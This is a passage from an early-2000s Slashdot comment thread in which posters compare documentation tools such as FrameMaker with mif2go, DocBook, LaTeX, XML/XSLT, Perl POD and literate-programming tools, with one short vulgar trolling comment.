    Our internal docs needed to use Framemaker (in order to be compatible with a vendor tool), and we had a program to take a simple mark-up and turn it into MIF. I replaced this with a groff to HTML and Postscript system. The HTML pages had a 'print' link that would load the Postscript and give the user a nice looking document.


    Most of this stuff is a matter of taste.

  132. "software engineer", "programmer"? by Anonymous Coward · · Score: 0

    I also like Together's identification of titles. A "Developer" is someone that designs, codes, and documents. A "Coder" is someone that codes. Which are you?

    so, what does a "software engineer" and a "programmer" do?

  133. silly answer: use what you know! by rjnagle · · Score: 1

    Perhaps this answer is flippant, but the answer in the documentation industry is to use whatever tool you already have. (I know, I'm a tech writer). Word is probably the most widely used doc tool pretty much because it's on every Windows' user's desktop. It's very difficult to ask management to use tools because of the learning curve and the additional expense.

    Very often I would try to devise a custom documentation solution or use an open source tool. And often I would find little or no support from management who are asking me why I just don't it in html or Word.

    Online help/integrated documentation often doesn't require any tool at all, but is simply incorporated into the business logic (hint: that is a very bad idea!!). I had to write documentation for a major manufacturing tool at a very long hardware company. In their foresight, the programmers had a technical writer create help notes for each screen and on the same server/database, so I had to wait before the next release for the opportunity to update the documentation.

    Programmers are really cool people, and actually a lot do a decent job on documentation. It just never occurs to them to organize the information or to anticipate typical user problems.

    --
    Robert Nagle, Idiotprogrammer, Houston
  134. Pod - Perl's Plain Old Documentation by Big+Stick · · Score: 2, Informative
    Though I initially started using Perl's Pod to embed documentation in my programs, I have found it very useful in other non-Perlish circumstances.

    Pod is not the most sophisticated documentation tool but it has some advantages:
    • Simple syntax. I regularly use 10-15 tags.
    • Can be easily converted to several formats: HTML, LaTex, plain text, man pages, etc.
    • Free with yer basic Perl install

    With a little CSS on the side I have used it for writing articles, creating class presentations, and all the documentation at work.

    Something to consider, especially if your shop has Perl installed already.
  135. So Many Editors... by Anonymous Coward · · Score: 0

    Depending on exactly what you're looking for, there are a few damn fine simple editors for both Linux and Windows. On Windows, Visual SlickEdit is a great editor for both code and documentation. For the purists out there, it does have vi and emacs emulation. NoteTab is a great tool for simple text files, and the Light version is free to boot!

    On Linux my preference is Emacs, every time, without a doubt. I remember being required to use RCS for a while while doing some Java work, and Emacs was excellent for interfacing with that. Of course, every so often you just can't avoid the temptation of vi!

    Coward of Anonymity

  136. I wouldn't do that... by Da+VinMan · · Score: 2

    Heck, you can use 'aft' mentioned above, and get that much, and much more.

    You could just as well recommend he use HTML itself; it would save a bunch of time.

    However, neither of those solutions meets the stated quality requirements.

    --
    Please mod this post only if you think others should/n't read this. I have enough ego^H^H^Hkarma. Thanks!
  137. Lotus Notes by Anonymous Coward · · Score: 0

    I use Lotus Notes databases for documentation, but I'm partial since I'm developing in Notes/Domino anyway. Notes is nice because it's friendly to fixed-width fonts, but it allows rich text without difficulty. Also you can organize your documents almost any way you want to.

    I could go on, but if you need something basic, then at least check Notes out.

  138. Ok this is crazy by Anonymous Coward · · Score: 0

    I Dislike Microsoft as much as the next guy, and
    I run linux on one pc everyday
    but the statment
    "In order to avoid the torture of fighting with Microsoft Word all the time (which crashes on me regularly)"
    Is just wrong. I have word on a pc I use it all the time. If itcrashes all the time you need to either
    1. check your pc for problems
    2. upgrade from that 486
    3. upgrade from word 95

  139. FrameMaker by jason_j_hinze · · Score: 1

    If you're not averse to using a commercial product, you may want to look into Adobe FrameMaker. It's certainly not a panacea, but I use it for all my technical and business writing, and I'm quite happy with it.

    The primary disadvantages to FrameMaker, in my opinion, are:

    • Cost: If money is tight, FrameMaker will probably not be to your liking, as it costs about $800.
    • Age: Adobe does not appear to be putting much effort into FrameMaker. It is a very powerful program, but it 'feels' old.
    • Learning Curve: It takes quite a bit of study to become productive with FrameMaker.

    And the advantages:

    • Predictability: My initial reason for switching to FrameMaker was that I was tired of pulling my hair out in frustration as a result of MS-Word's tendency to secretly modify my docment layout behind my back (e.g. randomly moving figures around when I'd made no changes to the document). FrameMaker's layout results are rock solid.
    • Multiple-Format Output: You can save your docment as text, pdf, postscript, html, and, with the high-end version, SGML. It does this correctly and well, too -- for example, cross references all turn into hyperlinks in PDF output.
    • Frame-Based Layout: The "frames-glued-on-top-of-a-text-flow" layout system of MS-Word is terribly annoying if you're trying to write anything more ambitious than a simple memo. FrameMaker's basic element is a frame, which can contain text, grapics, images, whatever. Text frames can be linked together to form disjoint text flows. Figures don't wander around your document while you're not looking. And so on.
    • Power: Features like smart (i.e. working) cross references, good table of contents and index support, scriptability, versioning.
    • Cross-Platform: It runs on Solaris, HPUX, AIX, Windows, and MacOS. The document format is the same on all platforms.
    • O'Reilly Can't Be Wrong: Most O'Reilly books, as well as much of the documentation from vendors I work with (Sun, Cisco, ...) are written in FrameMaker. Look at the 'colophon' in an O'Reilly book, or the PDF information in PDF-formatted documentation you receive from your vendor.

    I know FrameMaker is far from perfect, but it's the only documentation authoring tool that doesn't make me want to quit my job and become an organic vegetable farmer.

  140. FrameMaker + mif2go = almost any output you like. by Rikardon · · Score: 2, Interesting

    Try FrameMaker 6.0 and mif2go if you want to produce HTML and PDF from the same set of master source files. I've used them with spectacular results, for docs ranging from 20 to 350 pages, including Table of Contents and Index. mif2go does help files, too -- WinHelp, MS HTMLHelp, JavaHelp, etc.

    We have a user manual (350+ pages) and a demo document (~60 pages) that contains a subset of the stuff in the manual. We used to keep one copy of each document in PageMaker (hey, before I came along it was WordPerfect; give me a break!). This required constant, simultaneous editing of the almost-identical sections in both documents. It introduced errors and inconsistencies, and it effectively doubled my editing workload, since the sections we edited most often were the ones in the demo document. Worse, PM isn't suited to long-document problems like re-numbering sections. Any time we added a new section, I had to renumber, by hand, all sections that came after it, including cross-references to other sections (there are hundreds of these). I knew there had to be a better way.

    Three years ago, I switched us over to FrameMaker. Now, I keep ONE set of master documents, from which I produce print, PDF, HTML and Help files for both the manual and the demo document.

    Here's how it works:

    Instead of one big file, I have 31 separate FrameMaker files, each of which corresponds to a section or chapter in the user manual. I have two "book files": one for the manual, which includes all 31 section files, and one for the demo document, which includes only three.

    One of FrameMaker's most powerful features is its "conditional text," which lets you tag certain text for display only on certain conditions. In my case, I created three tags: ManualOnly, DemoOnly and Normal. Most text in all sections is Normal. But, some is ManualOnly and some is DemoOnly; for example, there's a completely different introductory subsection in the demo version of Section 1. That part is tagged DemoOnly; the intro subsection for the user manual is tagged ManualOnly, and the rest of Section 1 is tagged Normal. Now, deciding what gets tagged how takes a bit of work, but once it's done it simplifies things greatly: I open the book file I want, set the display to "Normal" along with "ManualOnly" or "DemoOnly," depending on which book I want, and print. Or, I can save as PDF -- a feature built right into FrameMaker. Note that the sections are numbered differently in the demo document than they are in the manual. That's OK; Frame handles the renumbering automatically, and even renumbers any cross-references between sections as needed! It likewise generates the Table of Contents and Index for me, with page and section numbers as appropriate.

    Now, that works fine for print and PDF. What about Help files?

    This is where mif2go comes in. mif2go generates FrameMaker Interchange Files (MIFs) from your FrameMaker originals and converts them to WinHelp, JavaHelp, HTML, HTML Help, XHTML: you name it. mif2go is US$299, produced by a small outfit called Omni Systems. The price includes free tech support (email only) for a year, and they have been VERY responsive to email, usually responding within the day. The only comparable conversion product I know of for FrameMaker is WebWorks Publisher, which is produced by a self-important corp that charges three times as much for its software that, IMHO, works far less well than mif2go (and yes, I've tried both; a demo version of WebWorks even comes with FrameMaker 6.0).

    Before mif2go, help file creation went like this:

    • export FrameMaker section files to RTF (with FrameMaker's lousy RTF filter), losing most of the markup in the process, such as cross-references.
    • use a HAT (Help Authoring Tool) like RoboHelp to re-format what didn't translate properly, and to replace all the missing links. This usually took about six weeks, and introduced inconsistencies (like spelling mistakes) from the original files. It also had an ugly format, and some tables in our original document just WOULDN'T work no matter what we tried.

    Here's how it works now:

    • Choose File > Save Using Mif2Go.
    • Double-click the .hpj file that mif2go generates, to compile the help using the (free as in beer) Microsoft Help Compiler.

    Done. Perfectly-formatted help files, in less than five minutes. HTML output is much the same.

    I have yet to see anything with the combined power of these two. FrameMaker is available for Windows, Mac and a couple of flavours of Unix (though unfortunately not for Linux), which is a heck of a lot better than you can say for LaTeX, which I wouldn't touch with a barge pole. For serious document work, give me WYSIWYG anytime: I can manage the layout -- even simple things like widows and orphans -- much more easily in a GUI than I can from a basic text editor.

    And finally, FrameMaker is rock-solid. I use it every day, for serious work, and it has crashed maybe four times in the three years I've used it. I can't think of any other piece of Windows software that has been so reliable.

    A word of warning: I've made this sound like a Great Thing, and it is. But it's not easy to begin with. FrameMaker has a pretty steep learning curve; it's been said that you can do anything to a text document with Frame, but nothing easily. However, your coding background will probably give you a great headstart. Some of the things, like the automatic renumbering of sections and cross-references I mentioned, will be much easier to set up, for example.

    Good luck -- and stay away from Word.

  141. Docbook clarification by VValdo · · Score: 2

    I see some posts from people talking about DocBook as if it's an application-- it's not. Docbook is a DTD (Document Type Declaration): it's a specification of tags used to markup documentation, much like HTML's DTD (http://www.w3.org/TR/REC-html40/sgml/dtd.html) describe those tags used to mark up a web page.

    So, like, documentation written using the DocBook DTD will look something like a web page, only the tags that surround the content are specific stuff you'd find in documentations. Some of the tags look like this:

    <book>
    <chapter>
    <title>
    <para>
    <note>
    <procedure>
    <step>
    <userinput>
    <figure>
    etc.

    All you really need in order to write documentation in DocBook is an editor that can handle SGML or XML and can use DTDs. Files marked up using DocBook are simple SGML (or XML) text files, and you can alter how they are displayed or printed with .CSS just like a web page.

    So you can have a single source for all your documentation, such as a manual for your software, and output from docbook to any other format-- PDF, HTML, XML, or print.

    There are lots of open source programs out there for writing XML files that let you import a DTD, some of which are specifically geared towards Docbook. Other applications take files marked up using DocBook and, along with a .css file to say how to display each of the tags, convert/format them into whatever you want: .eps, .pdf, .html, etc.

    W

    --
    -------------------
    This is my SIG. There are many like it, but this one is mine.
  142. DocBook is my choice by slagdogg · · Score: 2, Informative

    I've gone through a similar struggle, trying to find a documentation format that is more flexible and less frustrating than Word. My motivation for the change was that I was unproductive working with Word, mostly because there was too much time spent trying to make the tool work the way I wanted it to. Also, seemingly simple tasks like trying to create a table of contents were much too burdensome.

    I started with HTML. I figured that HTML would be a nice choice, because it's relatively standard and I could use a more sensible editor. I wrote a document of two in HTML, but in the end I found myself to be just as unproductive in HTML. I spent too much time worrying about formatting this and that, and it felt like quite a mess when I was finished.

    I looked into the alternatives, and I kept finding the word DocBook coming up. The FreeBSD and LDP teams were using it, and so I felt it was worth a look. It seemed a bit intimidating at first, until I realized that a simple 'apt-get install sgmltools' was all I needed to get started. There are plenty of sample DocBook documents lying around on any 'NIX box, or on the web. So I started by just editing the samples.

    I haven't looked back -- it's so productive to write documentation in DocBook. Instead of wondering "How should I format this product name ... should I use bold? Italics?" you just wrap the product name in a 'productname' tag. All the output is handled with a few simple commands.

    Another nice feature of using DocBook is when combined with CVS. The text based format is great for performing diffs, and it also lends itself well to concurrent documentation writing. It's great when two separate developers can each take a section in the same file, again boosting productivity. Finally, there is a great IDE for DocBook -- emacs with PSGML mode ... it eases a lot of the tedious tasks such as entering end tags, and handles formatting and indentation wonderfully.

    I encourage you to take the time to learn DocBook, it's very simple to get started, and has made my documentation writing a much easier process.

    Good luck!

    --
    (Score:-1, Wrong)
  143. Wow, Slashdot is COOL! by Anonymous Coward · · Score: 0

    Hi, I usually post on fuckedcompany.com, flaming everything and everyone in the most vulgar ways possible. But now I'll branch out and start posting here! A whole new set of victims! Awesome!
    For starters, let me just say that you can all suck my cock.

  144. This is what XML was born for! by Anonymous Coward · · Score: 0

    You are describing the exact reason that XML (formerly SGML) was created: a single formatting-independent source which can be rendered many different ways. If you are writing simple documentation (like MAN pages) it's pretty easy just to write your own DTD and stylesheets. For more complex stuff, do yourself a favor and look at DocBook again. I found the XML/XSL/XALAN implementation of DocBook to be much easier to use than the SGML/DSSSL/JADE route.

  145. Cweb/Web: Literate Programming Tools by seawall · · Score: 1
    Many of these tools are examples of Literate Programming Tools but I haven't seen much mention of CWeb. Web and later Cweb were among the first of these and are quite nice in my opinion.

    In any case: The idea of keeping documentation and code next to each other in the same file, makes it much easier to document changes as they occur. How that is done is argueably a matter of taste (doxygen, POD, cweb, etc.).

    The canonical example of the technique is probably the source code for TeX.

    1. Re:Cweb/Web: Literate Programming Tools by jYM · · Score: 1
      In any case: The idea of keeping documentation and code next to each other in the same file, makes it much easier to document changes as they occur. How that is done is argueably a matter of taste (doxygen, POD, cweb, etc.).

      For sure, that works great if you're talking about technical (read programmer) documentation. What about end-user documentation (user manuals etc)?

      Most of the embedded documentation tools I've seen seem to lean heavily towards the former; what about tools for the latter (which is arguably of at least similar importance in a commercial world)?

      Is there anything out there that really works in practice at both ends of the spectrum?

  146. I think it is... by Da+VinMan · · Score: 2

    ...because the version management software would need to be 'aware' of all the possible formats you could save in it. It would need to know about MS Word, HTML, Rich Text, WordPerfect, Works, AbiWord, TeX, Postscript, Write, etc. etc. etc.

    The point is that there are probably over 200 word processors out there. Some of them are proprietary format too. Oh, and they can all change their save format from version to version of the software.

    And that's just word processors. Now, think about spreadsheet software, presentation software, etc. etc. etc.

    It really is a lot to ask of the version management software.

    It's not impossible. I'll never say that. But is it really reasonable?

    --
    Please mod this post only if you think others should/n't read this. I have enough ego^H^H^Hkarma. Thanks!
  147. StarOffice by Anonymous Coward · · Score: 0

    Has anyone tried StarOffice?
    If so, is it easy to use?

  148. Use XML by Anonymous Coward · · Score: 0

    Write the documentation normally and mark it up the way you think it should be, ie. ..., ..., whatever. Then, you can create XSL documents that can transform the XML document into just about any format you want, including bare-bones code.

    Obviously, you can use XSL to transform the XML doc to HTML, but there are formatting objects that can turn the doc into Word docs, PDFs, etc.

    I realize the writing the initial documentation in XML can be a little tedious, and there is a more overhead in creating the XSL documents, but editors are getting pretty good.

    If you need a lot of flexibility with your documentation, XML is the way to go. Embrace the buzzwords.

  149. Text Editors by underclocked · · Score: 1

    VI or die!!

  150. LaTeX or TeXInfo by Anonymous Coward · · Score: 0

    It depends on what you want to do. I'm in the process of writing a rather large manual for a computer algebra system, and for the user manual I went with LaTeX. PDF documents are worth a great deal when it comes to internet distribution of documentation.

    Latex2html, however, I'd be a little wary of for now. I've not had the best results with it.

    For the online system and reference manual, the project uses texinfo. This can generate many formats, and if you absolutely need good html this is probably a safer bet then regular LaTeX.

  151. XML & XSL by Bongo+Wafer · · Score: 1

    I have a DIY documentation system that is (so far) good enough for my needs. I started righting documentation in HTML but wanted to produce nice hardcopy as well. Rather than writing it twice; once in HTML, once in LaTeX, I turned my HTML docs into HTML-like XML and wrote myself some XSL transforms that produce either proper HTML or LaTeX. At some stage I'll probably do a transform to produce XSL-FO (formatting objects) which I can run through the Apache Group's FOP to produce PDFs.

    I know it's reinventing the wheel but I was learning XSL at that stage and my documentation requirements are pretty lean.

    Geoff.

  152. SoDa by MikeD83 · · Score: 0

    Rational Software makes a program called SoDa wich will create documentation from source into a MS Word document.

  153. Hire a tech writer by y_a_duck · · Score: 1

    Why are you writing the documentation? Hire yourself a technical writer; that's what they do for a living. They know the tools, the processes, the formats. Do what you're good at--presumably programming--and let writers do what they're good at.

  154. Ever hear of NegWeb or NoWeb? by Nindalf · · Score: 2

    NegWeb is a "semi-literate" programming tool. Basically, it lets you define chunks of output files in any order, in any location in input files. So if you want to put the chunk of documentation for a feature in LaTeX or HTML just before the chunk containing its implementation, you are free to do so.

    It differs from other literate programming tools in that it doesn't have any concept of formatting the NegWeb source as a whole. Literate programming started with Donald Knuth's WEB, which arranges Pascal in the same way that NegWeb arbitrary text files (an operation called "tangling," since the results are compilable, but not pretty), but also indexes and pretty prints the Pascal and treats the text between the code chunks as TeX (called "weaving"). Knuth later created CWEB, which does the same thing, but for C instead of Pascal.

    My problem with this approach is that when you go to edit it, you deal with the ugly TeX source, or you reweave constantly. Also, unless you are such a TeX wizard that you do it without ever thinking or looking things up, you are distracted from working on your functional output by fiddling with the formatting. The NoWeb approach is to have the plain text source the most readable version of the source, on the principle that code is most often read to be edited.

    The name is a play on NoWeb, which is essentially a simplified and generalized CWEB, since NegWeb is essentially a simplified (some literate programmers would say "crippled") and generalized NoWeb. NoWeb is very extensible, and supports indexing and pretty-printing for a lot of languages, as well as using several different formatting languages for weaving, such as LaTeX and HTML.

    Either would work for rearranging arbitrary ASCII text chunks into files: NegWeb is simpler, NoWeb is prettier.

    You might be surprised at the freedom it gives you to factor your code into short, manageable chunks. It definitely helps to set up a few macros in your text editor to treat the chunk names as hyperlinks to find the definition of the chunk, and all places it is used.

  155. Re:Not to be the obvious, but upgrade to Win2k or by Anonymous Coward · · Score: 0

    what? word doesn't crash with the BSOD.. it usually crashes with an IPF. There are many documented bugs in word that will cause the application to crash, just check the M$ knowledge base. I searched for 'winword 0xc0000005' and got 18 hits just on that. And those are only the known, documented ones that will most likely never be fixed..

  156. Doxygen by ScroP · · Score: 1

    If you're looking to document your source take a look at doxygen. Its really nice, and give you several output options; including indexed HTML & PDF documents. It also has provisions for including a sort of notes sections with your source.

  157. LaTeX vs WYSIWYG by bcrowell · · Score: 3, Informative
    The person who posted the original question didn't sound happy about LaTeX's non-WYSIWYG nature. I felt the same way at one time. However, computers are so fast nowadays that the experience of writing in LaTeX can be very much like WYSIWYG. For instance, there are helper apps (e.g. TeXShop for MacOS X) that let you have your source code open in one window and your PDF file open in another. Click a button and almost instantly, you see the result of whatever change you just made.

    WYSIWYG is also a pain in many ways:

    1. You may not be able to tell -- or control -- what's actually in your file. For example, it shouldn't matter whether I type two spaces or one following the period at the end of a sentence -- it should just do the right thing. LaTeX does this, but WYSIWYG software generally doesn't.
    2. There is the temptation to do all your formatting by selecting fonts, etc., rather than by sticking strictly with a stylesheet. For instance, I have some books I wrote in PageMaker, and somewhere inside some of them there is some Geneva, even though I meant to do all the sans serif in Helvetica. I can't find the Geneva! It must be inside a figure somewhere.
    3. WYSIWYG often translates into what-you-want-to-see-is-what-you-have-to-put-in-by -hand. For instance, I have some boilerplate text that appears at the top of the homework problems in each chapter of my books. In LaTeX, if I want to change it, I just change the relevant macro. In WYSIWYG software, I'd have to manually edit every single chapter.

    LaTeX does have some disadvantages, however:

    1. No unicode support.
    2. Setting up a complicated document is extremely difficult and time-consuming. For instance, the .cls file for this open-source book took me about two weeks to set up.
    3. LaTeX/TeX is a nightmate as a programming language. The code is extremely difficult to read, and since it's a macro language, it's very hard to debug. You end up doing a lot of procedural programming in a language that simply isn't anyone's idea of a good procedural programming language.
    4. Related to LaTeX's macro-language nature is the fact that its error messages are hard to interpret. And there are a lot of them. When I compile my 600-page book, it takes about five minutes for all the warnings to scroll past , at a rate of about a screenful per second!

    Lyx sounds interesting, although I haven't tried it. I'm not sure to what extent it just creates typical WYSIWYG problems while getting rid of typical non-WYSIWYG problems.

    An important consideration is that TeX/LaTeX is open source, and there are free-as-in-beer implementations on virtually every platform. If you're trying to exist in the world of open source, you really need to use open-source tools.

    1. Re:LaTeX vs WYSIWYG by Dekel · · Score: 1
      LaTeX does have some disadvantages, however:

      1.No unicode support.

      Omega is an extension of TeX that supports unicode.
      Even standard TeX can have unicode support: See the CJK and unicode packages (for LaTeX).

  158. XML, XSLT and Docbook - a near-perfect solution by swillden · · Score: 5, Interesting

    I've been using XML and Docbook for a while now, and I really, really like it, particularly if you use Docbook as an intermediate format rather than what you actually write your documentation in.

    For example, I've got some really nice stuff for building use cases in XML. I created my own DTD for a use case language (which I call UCML) that allows me to define actors, use cases, goals, glossary terms, etc. Use cases consist primarily of a sequence of steps (nestable) with links to actors, terms, other use cases or steps, goals, etc. along with some other tags that define the name, extends relationships with other use cases, termination states and conditions, preconditions, business rules, etc.

    I also have some XSLT stylesheets that do a number of nifty things with these UCML documents. One stylesheet transforms UCML to HTML, complete with every imaginable hyperlink, tables of contents etc., and even deduces a bunch of relationships which it documents (and hyperlinks). For example, if a use case mentions an actor or another use case in its steps, the stylesheet adds a section to the HTML description of that use case that documents the fact that this use case uses (in the OO sense) that one, or that this actor participates, and adds similar information to the descriptions of the use case and actor that are referenced. This is just a sample, the stylesheet does a lot more, and produces very *usable* and consistent documentation.

    Another stylesheet acts as a sort of garbage collector. Phases (groups of Use Cases intented to implemented together) and Use Cases can be marked as "dead", in which case the UCML->HTML stylesheet will "hide" them (they won't show up in the output). The garbage collector stylesheet takes this a step further and analyzes all actors, glossary terms, entities, goals, etc. and produces a new UCML document that does not include elements unreferenced by a "live" use case. So, I can mark some currently uninteresting use cases as dead, run the garbage collector, run the UCML->HTML stylesheet on the result and get a nicely formatted document that contains only the supporting information required for the included use cases.

    HTML is not ideal for printing, though, and this is where Docbook comes in. I have a UCML->Docbook stylesheet that does essentially the same things as the UCML->HTML stylesheet. Then I can convert the Docbook to PDF, Postscript, TeX, etc.

    I've also created my own XML languages for component models, architectural decisions documents and others -- it's pretty easy to gin one up whenever I come across another sort of highly structure document I need to write. Plus I have one that I use for simple, less-structured documentation that just provides sections, paragraphs, etc. Mostly I just have whatever->HTML stylesheets for most of these, since they're all intended to be read by developers who are less insistent than end-users on having printable formats.

    So, I have nice, text documents that I can use EMACS on, manage in CVS, etc., stylesheets I can fiddle with (when I get sick of writing documentation I can always spend a little time improving the stylesheet code and justify it as "documentation" effort :-) ) and everyone else gets really nice docs from me. The biggest downside is that other people (non-programmer types who are uncomfortable with tagged text) are often uncomfortable with trying to edit my documents (sometimes it's a good thing, as it allows me to retain the "power of the pen", sometimes its bad as even trivial updates must pass through me).

    The next steps with UCML are (1) figure out how to establish and maintain XMI-documented use cases and UCML-documented use cases and (2) write a WYSIWYG-like tool for editing them, for the tag-averse.

    BTW, if anyone is interested in using the stuff I've described, drop me a line. I've been thinking about putting it up on SourceForge, but don't know if there's enough interest to make it worthwhile.

    --
    Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
    1. Re:XML, XSLT and Docbook - a near-perfect solution by tylerdave · · Score: 1

      What do you use to get PDF output from DocBook, everything that I've tried still seems a little primitive.

    2. Re:XML, XSLT and Docbook - a near-perfect solution by swillden · · Score: 2

      docbook2pdf. It's part of Jade and seems to do a reasonably good job. I need to learn more about how to customize the output, though, because there are some things that are not ideal.

      I've only used the Linux versions of the tools, but I understand from the Docbook mailing list that I'm in the minority. Most users are on windows and it seems to work well on a wide variety of platforms. It should, there's no GUI to cause problems -- oh, wait, is that what you meant by primitive? I like building my documents with Makefiles myself, but others may feel differently.

      --
      Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
    3. Re:XML, XSLT and Docbook - a near-perfect solution by tylerdave · · Score: 1

      By primitive I meant the formatting of the output. I can't believe that I've been using jade and missed docbook2pdf though. I'm going to go try that right away.

      I regularly use both the linux and windows versions of the tools (depending on if i'm at home or work) and have seen no real differences in the output of either.

  159. LaTeX/CVS is a strong combination for big projects by Anonymous Coward · · Score: 0

    I am an Electrical Engineering student at Aalborg University, Denmark, and every semester (half year) we write a report containing approximately 100-150 pages of text, tables, formulas and graphics. These reports are written by project groups of about 7 persons.

    The first semester all groups used MS Word and made one file containing the entire report. This file grew very large, which caused even the cable modem owners in the project group to complain, and didn't really allow more than one user to edit the file at a given time (a "must"!).

    Now (3rd semester) almost everybody uses LaTeX and CVS and splits the report in several smaller files. MS Word just didn't work with reports of that size and type.

    Never ever has a picture been put where it's not supposed to be by LaTeX, has a version conflict occured which wasn't resolved by CVS, has anybody complained about big files and so forth.

    LaTeX and CVS may be a pain to install and learn, but it gets a job like this done!

  160. I Didn't Get Good Results by vodoolady · · Score: 1

    The output was not in alphabetical order. The LaTeX version was huge - 1000's of pages for a large project, even after I messed with the options to slim it down. It didn't handle templates very well, either. There was a copy of the template's documentation for every instance of the template! I don't remember which version I used, and I only devoted a few days to tuning it, but overall it was not useful for our project.

  161. Ventura still scares me. by Rikardon · · Score: 2, Informative

    I tried Ventura 7, which was the first version that Corel wrote pretty much from scratch. This was in early 1997. It was a bad experience.

    First the good points:

    - Ventura had the best user interface of any program I had used up to that time (this alone made me hang onto it longer than I should have).

    - It included lots of drawing tools -- almost a mini-CorelDraw -- that worked right in the document editing window.

    - It was almost endlessly customizeable, in terms of its buttons and menus -- the first program I ever saw that could do so to that extent. I could set it up any way I wanted to.

    Now the bad points:

    - It didn't work.

    That's enough, really, isn't it?

    Ventura broke constantly. It couldn't handle frames. It would sometimes drop characters when it printed files with it (every 'f' on a page would be missing, for instance. Not in the whole document -- just that one page). Sometimes, it would skip whole pages in its output.

    Support was nonexistent. Yes, the newsgroup was great, but the Corel guys kept dropping hints about a patch that was coming out Real Soon Now(tm) that would solve all of our problems. (From those in the know, that patch was called "Version 8").

    After it kept me in the office until 1:30 in the morning, for two nights in a row, trying to print a document that was LESS THAN ONE HUNDRED LOUSY PAGES, I gave up and switched to FrameMaker, and have never looked back.

    I almost did look back, because FrameMaker had such a lousy UI compared to Ventura, and made complicated so many things that Ventura made easy, that I was ready to tear my hair out.

    But Frame's saving grace was: it worked. It worked then, and it works now, and I've never dreamed of giving Ventura another chance. I use FrameMaker almost every day, and have produced documents ranging from 20 pages to almost 400 pages at last count, and FrameMaker has crashed on me maybe four times in four years. It's predictable. It does what it should. And with the addition of mif2go, I can produce HTML, WinHelp, or just about any other markup format as effortlessly as FrameMaker's native PDF support lets me produce Acrobat.

    I've often wondered if they ever worked the bugs out of Ventura, but hey... once bitten, twice shy.

    1. Re:Ventura still scares me. by FFFish · · Score: 2, Informative

      Ventura 7 was an unmitigated disaster. Typical of Corel: they can fuck things up so royally, yet turn around and release pure heaven. CorelDraw 10 seems to be one of those cases, if the bits I've heard are true: the release sucks shit through a straw, while the service release patches have made it well worth using.

      Ventura 8 is the same way: it took all that was so borked in Ventura 7, and fixed it. It's a joy to use now, and its capabilities are beyond belief.

      You might want to check into Ventura 10 when it's released. Should be a cheap upgrade for you, and stands a good chance of blowing you away. :-)

      --

      --
      Don't like it? Respond with words, not karma.
  162. Technical Writers by Leperflesh · · Score: 1

    You hate us because there are plenty of bad tech writers out there. But honestly, we are the experts at this task. Professional documentation tools such as FrameMaker allow us to produce doc that users will actually open and read. Dumping code comments into text is not effective if you are not 'writerly', i.e. your code comments are not communicating appropriately to your audience. Try hiring one of the thousands of currently unemployed, highly-skilled tech writers and you may find your doc is actually used!

    --
    I am allowed to criticize you: you are not allowed to criticize me. Sorry, that's just how things are.
  163. LaTeX! by X86Daddy · · Score: 1

    Several have already mentioned TeX and LaTeX, and have given valuable details about them. This is a "me too" post. I was first exposed to LaTeX in my senior year of college, while in an AI class. I was severely impressed.

    I had been a hard-core, old-school HTML person for years, and I was very happy to find a language that was to printed text as HTML was to hypertext, but better. I don't use it hardly at all now that I'm in a corporate, Word-or-Notes-are-what-you-are-to-use environment, but if I had to generate print-perfect material again, in the form of PostScript or PDFs, I would use LaTeX, no doubt.

  164. StarOffice 6 XML. *waves goodbye to Tex forever* by Nailer · · Score: 3, Informative

    StarOffice 6 uses a new file format which amount to a pkzipped archive containing four standard XML documents and in line objects as seperate files.

    I've used both Staroffice and Tex extensively to document networks for customers at my workplace. And I think Tex is in zombie mode now - dead, but not quite realizing it.

    Tex:

    * Attempts to seperates content from presentation
    * Can automatically produce some parts of a document based on others
    * Is hand editable in plain ASCII
    * Exports to many common file formats

    It also:
    * Uses metafont, a font system that is unlike every other modern Unix application in existence and is designed around the use on non scalable fonts
    * Has non-programmer editing tools which still aren't really suitable for end users and don't produce the output intended.

    StarOffice 6 contains all the advantages above - content and style can be kept seperate, the text file format is plain ASCII, stylesheets are used, and StarOffice can export to a lot more fileformats than tex can via the use of XSLT and StarOffice's own inbuilt filters.

    The GUI editing program also shits all over the Tex tools I've used - a simple Word Processor application with 2 additions:

    * The stylist, a style pallette which applies styles to parts of content and allows the editing of those styles
    * The Navigator, a floating window which provides a heirarchical view of the document allowing the author to immediately see and edit the structure of the content as well as move to different parts of it.

    Hence its pretty easy for a non programmer to produce a real structured document without extensive knowledge of the system. People who write good documentation are often non programmers - they write documentation from an end user POV for their fellow end users, and if the end users aren't programmers, the documentation person doesn't have to be either in my opinion.

    Of course, you can always produce and manipulate StarOffice 6 documents from your text editor, shell or other scripts. I'm working on converting our old Tex documentation script to produce SUn XML Writer documents as we speak.

    Oh yeah, and no more jumping through hoops deadling with metafont shittiness. Yay.

    Its a pity the 6.0 beta crashed on the poster - personally I find its the most stable and fast StarOffice yet, and that 5.2 was flaky, especially with net installs.

  165. Get a Technical Writer by wagadog · · Score: 1

    Do what every good programmer does:

    • Comment your code
    • Write READMEs and and a few HTML documents for the benefit of other programmers
    • if you want to get fancy, make the code is self-documenting with Doxygen. Again, for the benefit of other programmers
    • If they really need userland documentation, suggest they hire a technical writer.
    A Technical Writer is someone with a degree in English or Communications. It's not particularly cost-effective to have a programmer doing what an english or communications major can do better, and for less money. After all, for user-level documentation, the english major is going to be much better at knowing what kind of information and format is going to communicate effectively to a non-technical audience. And a technical audience can bloody well read the code.
  166. BAH! by battjt · · Score: 1

    The most important thing is the thing that gets delivered to the user. Normally that is an executable and sometimes user docs. What ever generates that is next important, normally code. Next important would be design.

    I can't create a good executable without good code, which can't be produced without some documentation, but to say that the docs are the most important thing is dumb. I have created very good applications without any documentation. The apps were so simple that they stay in production for 5 years+.

    Joe

    --
    Joe Batt Solid Design
  167. Mac OS X by Refrag · · Score: 1

    Use Mac OS X's TextEdit.app to generate your document in RTF, and then print preview it to generate your PDF! This is the simplest way to generate PDFs that I know of.

    --
    I have a website. It's about Macs.
  168. Writing documentation is not a programming task by timbck2 · · Score: 1

    Programmers are notoriously bad at writing documentation...that task should be left to technical writers.

    --
    Absurdity: A statement or belief manifestly inconsistent with one's own opinion. -- Ambrose Bierce
    1. Re:Writing documentation is not a programming task by Anonymous Coward · · Score: 0

      It is if you use LaTeX.

  169. A little off-topic but of note by Hangtime · · Score: 2

